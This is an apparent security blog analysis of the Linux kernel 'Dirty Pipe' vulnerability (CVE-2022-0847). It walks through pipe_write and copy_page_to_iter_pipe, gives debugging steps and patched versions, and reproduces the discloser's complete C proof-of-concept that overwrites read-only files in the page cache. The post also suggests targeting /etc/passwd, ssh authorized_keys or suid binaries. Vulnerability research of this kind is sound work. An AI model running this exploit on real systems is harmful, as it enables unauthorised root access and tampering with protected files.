
Proof-of-concept exploit and detailed analysis of CVE-2022-0847 (Dirty Pipe) Linux kernel privilege escalation vulnerability, including Docker environment for testing and debugging.
[toc]
This article was first published on Huawei Security's official account, this is the blog version (more complete)
First published link: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
Vulnerability ID: CVE-2022-0847 (Alias: dirty pipe)
Vulnerable product: linux kernel - splice syscall
Affected versions: Linux 5.8 patch f6dd975583bd introduced ~ 5.16.11, 5.15.25, 5.10.102 fixed
Hazard: Write content not exceeding one page to any readable file (sufficient), can be used for local privilege escalation.
Vulnerability analysis docker: chenaotian/cve-2022-0847 (If still inaccessible, then I haven't uploaded it yet)
Provides:
Start:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Debug:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
The brief principle of the vulnerability is that calling the
splicefunction can send a file to thepipein a "zero-copy" manner. The zero-copy at the code level directly uses the file cache page (page cache) as thebufpage of thepipe. However, this introduces an uninitialized variable vulnerability, causing the file cache page to be treated as a normalpipecache page in subsequentpipechannels and thus "overwritten" and modified. In this case, the kernel does not mark this cache page as "dirty", and it will not be flushed to disk in the short term (until the next reboot or similar). During this period, all scenarios accessing the file will use the modified file cache page, achieving a "temporary arbitrary write to any readable file" operation. This can complete local privilege escalation.
According to the patch, the vulnerability trigger point is in the copy_page_to_iter_pipe function, which adds an initialization operation for buf->flags, so this is an uninitialized variable vulnerability.

The call point of copy_page_to_iter_pipe appears in the splice system call. The splice function (system call) transports file content into the pipe through a "zero-copy" method. Compared to the traditional method of directly sending file content into the pipe, performance is better. Details are introduced below.
First, the vulnerability alias is dirty pipe, so let's first understand the pipe. pipe is a communication channel provided by the kernel, created by the pipe/pipe2 function, returning two file descriptors, one for sending data and the other for receiving data, similar to the two ends of a pipe. The specific usage is not elaborated.

Briefly talk about the implementation in the kernel. Usually, the total length of the pipe cache space is 65536 bytes, managed in the form of pages, a total of 16 pages (one page is 4096 bytes). The pages are not contiguous but managed through an array, forming a circular linked list. Two linked list pointers are maintained, one for writing (pipe->head) and one for reading (pipe->tail). Here we mainly analyze the pipe_write function:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1] If the pipe cache is not empty, try to write "continuously" from the current last page
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Key: if the PIPE_BUF_FLAG_CAN_MERGE flag exists, it means this page allows continuous writing
* If the write length does not cross a page, continue writing; otherwise start a new page */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] If the previous page cannot be written continuously, start a new page
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] Allocate a new page
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] Put the newly allocated page into the page array
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] Set flag, default PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] Copy operation
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
head==tail indicates an empty pipe), it means there is unread data in the pipe. Then get the head pointer, which points to the latest page used for writing, check the len and offset of that page (to find the end of data), and try to continue writing on the current page.PIPE_BUF_FLAG_CAN_MERGE flag; if not, continuous writing on the current page is not allowed. Or if the written data appended to the previous data exceeds one page (i.e., the write operation crosses a page), if it crosses a page, continuous writing is not possible.alloc_page allocates a new page.buf->flag is initialized to PIPE_BUF_FLAG_CAN_MERGE by default, because the default state allows the page to be written continuously.The key to exploitation is the uninitialized PIPE_BUF_FLAG_CAN_MERGE flag in splice, which determines whether we can continue writing on a "not fully written" pipe page.
As mentioned above, the pipe manages 16 pages as cache. The zero-copy method of splice is to directly replace the cache pages in pipe with the file cache pages (change the pipe cache page pointer to point to the file cache page).

The call stack from the splice system call to the vulnerable function copy_page_to_iter_pipe is deep and will not be analyzed in detail. The call stack is as follows:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read(in->f_op->splice_read default is generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeThe main work of the vulnerable copy_page_to_iter_pipe function is to point the pipe cache page structure to the file cache page of the file to be transferred:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1] Get the corresponding pipe cache page
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2] Modify the pipe cache page info to point to the file cache page
get_page(page);
buf->page = page;//[2] Page pointer points to the file cache page
buf->offset = offset;//[2] Set offset and len to current info (determined by splice parameters)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe->head) position.len determined by the parameters passed to the splice system call. The only thing not initialized here is the flag, causing the vulnerability.After general initialization, pipe->bufs looks like this:

Now, according to the previously analyzed pipe_write code, if pipe_write is called again to write data to the pipe, the write pointer (pipe->head) points to the page in the figure above, and the flag is PIPE_BUF_FLAG_CAN_MERGE, so it will consider that writing can continue on that page, as long as the write length does not cross a page:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1] If the pipe cache is not empty, try to write "continuously" from the current last page
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Key: if the PIPE_BUF_FLAG_CAN_MERGE flag exists, it means this page allows continuous writing
* If the write length does not cross a page, continue writing; otherwise start a new page */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
The Linux kernel maps opened files into cache pages. The cache pages are retained for a period of time after use to avoid unnecessary I/O operations. Within a short time, all accesses to the same file will operate on the same file cache page, rather than repeatedly opening it. By tampering with this file cache page through this method, all operations that access (read) the file within a short time will read the tampered file cache page, completing exploitation.
As described above, the exploitation process is very simple. Once you understand the vulnerability principle, you can exploit it. According to the author's operation, it roughly consists of the following steps:
pipe_write), so that all buf (pipe cache pages) are initialized, and the flag is initialized to PIPE_BUF_FLAG_CAN_MERGE by default.pipe_read), so that when the splice system call transfers the file later, it will use the previously initialized buf structure.splice function to transfer the file to be tampered with into the pipe.pipe_write), which will overwrite the file cache page, completing temporary file tampering.After the second step, after the pipe is filled and then emptied, you can see that the bufs structure contains data to be reused for the next uninitialized content:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

After splice transfers the file, it becomes as follows, where flag is not initialized, and here len should be set as small as possible, because the smaller it is, the longer the length we can write when "continuing to write" later. Here it is set to 1, and the offset is the starting address we want to tamper with. Here, pipe->bufs->page pointer will point to the starting address:
splice(fd, &offset, p[1], NULL, 1, 0);

After another pipe_write, the condition for continuous writing is satisfied, and writing directly continues on the page:

Not written by me, from the vulnerability disclosure:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Successful privilege escalation:
gcc exp.c -o exp --static
./exp file offset string

Currently, it demonstrates the effect of arbitrary file writing. Specific exploitation can modify /etc/passwd, or ssh keys, or some suid files to complete actual privilege escalation. I won't actually operate here (since I'm not doing penetration anyway).
Since it is a kernel vulnerability, there is no good solution for now. It is recommended to upgrade the kernel to the fixed version: 5.16.11, 5.15.25, 5.10.102 or above.
Based on the POC released by the vulnerability discloser, I wrote a simple verification tool. If vulnerable, it outputs "There is CVE-2022-0847":

If not vulnerable, it outputs "You are safe!".
Vulnerability disclosure: https://dirtypipe.cm4all.com/
The PIPE_BUF_FLAG_CAN_MERGE flag appears a total of 5 times: once in #define declaration, twice in pipe_write. The remaining two times are in splice:

And from the code involving this variable, its meaning is whether to allow continuous writing in the current latest pipe cache page. Generally, if a page is allocated by the pipe itself, it's just a normal page, and continuous writing is normal. The situation where continuous writing is not allowed is when the page is not allocated by the pipe itself, and you cannot modify it arbitrarily. Therefore, from the current situation, almost only splice involves pages that are not allocated by the pipe itself. In other words, the PIPE_BUF_FLAG_CAN_MERGE flag is designed for splice. And you're telling me it's not initialized?
So I suspect this vulnerability is not a careless mistake at all...